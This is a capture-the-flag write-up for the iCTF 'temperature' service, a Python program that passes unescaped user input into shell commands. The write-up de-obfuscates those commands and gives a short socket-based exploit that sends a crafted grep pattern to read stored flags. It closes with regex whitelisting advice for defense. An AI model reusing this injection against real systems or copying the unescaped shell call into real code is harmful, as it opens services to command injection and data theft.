iCTF 2014-2015 writeup: temperature
This is a warmup-level challenge written in Python. The service opens a TCP socket on port 56098 and listens for commands to store or read a temperature reading based on time and location. The data is stored into a single flat file.
Simply interacting with the service over telnet
would not work, as the service only attempts to read once.
The protocol is very easy to reconstruct by reading the source, though, and writing a small client
to store and load data takes all of two minutes.
This service was one of the first ones being exploited by many teams.
The original source can be found here.
Let’s look at the interesting bits of the source:
def print(*args, **kwargs):
__builtins__.print("Disabled")
An attempt to use the print
function will be thwarted by this. Remove those two lines to bypass.
def build_command():
fn = "satan"
fn = fn.replace("s","r")
fn = fn.replace("a","e")
fn = fn.replace("t","v")
fn = fn.replace("s","r")
fn = fn.replace("n","n")
fn = fn[::-1]
fn += '\x67'
fn += '\x75'
fn += '\x65'
fn += '\x73'
fn += '\x73'
cn = "dog"
cn = cn.replace("d","c")
cn = cn.replace("g","t")
cn = cn.replace("o","a")
cn2 = "\x67\x72\x65\x70"
cn3 = "\x61\x77\x6B"
command = " ".join((cn,fn,"|",cn2,"%s","|",cn2,"%s","|",cn3,"'{print $3}'"))
return command
Both this and build_command2()
are attempts at obfuscation. Figuring out what exactly
is happening is left as an exercise to the reader; noting there are no parameters and
no external variables, we can simply print the output of each before they return, and
replace both functions with:
def build_command():
return "cat neverguess | grep %s | grep %s | awk'{print $3}'"
def build_command2():
return "echo " %s %s %s " >> neverguess
This yields the format of the file (space-delimited CSV) and a likely source of issues (unescaped parameters to shell commands).
2015/12/31 Toronto -12F
2015/12/31 Miami,FL 105.1F
The handler
function returns the output of build_command() % (date, location)
to read
and executes build_command2() % (date, location, temperature)
to write. The flag ID is the date;
the location is unknown, and the temperature is the flag. To exploit the service, we want
the second grep
to return all matches instead of filtering by location (assuming there’s only
one unique date-temperature set).
There are plenty of ways to do this. The only thing that won’t work is the empty string - the
pattern parameter to grep
is mandatory. Either of ""
, " "
, or .
are good, simple choices.
import socket
class Exploit(object):
def execute(self, ip, port, flag_id):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
d = s.recv(1024)
s.send("1\n")
d = s.recv(1024)
s.send(flag_id+"\n")
d = s.recv(1024)
s.send("\" \"\n")
d = s.recv(1024)
print(d)
self.r = { 'FLAG': d.strip('\n') }
def result(self):
return self.r
To defend, recall the two rules of using shell calls from your code:
- Don’t.
- If you must, whitelist the hell out of the parameters.
After checking every parameter (on both write and read - why not?), abort the connection if it doesn’t pass, and do not call into shell.
We’ll use regular expressions, so now we have two problems. Just kidding.
- The regex for date is:
^\d{4}/\d{2}/\d{2}$
(test at regex101) - The regex for location is unclear (what is allowed?) but from looking at inputs and a bit of reasoning,
any Latin character, dash, and spaces would work. So change
build_command()
by wrapping a pair of quotes around the location%s
and use^[\w\s]+$
as the regex. - The reasonable regex for temperature would be
^\d+\.?\d*[CF]?$
but this would be overthinking it. Since the service returns alphanumeric flags,^\w+$
is enough. This illustrates the danger of whitelisting too harshly.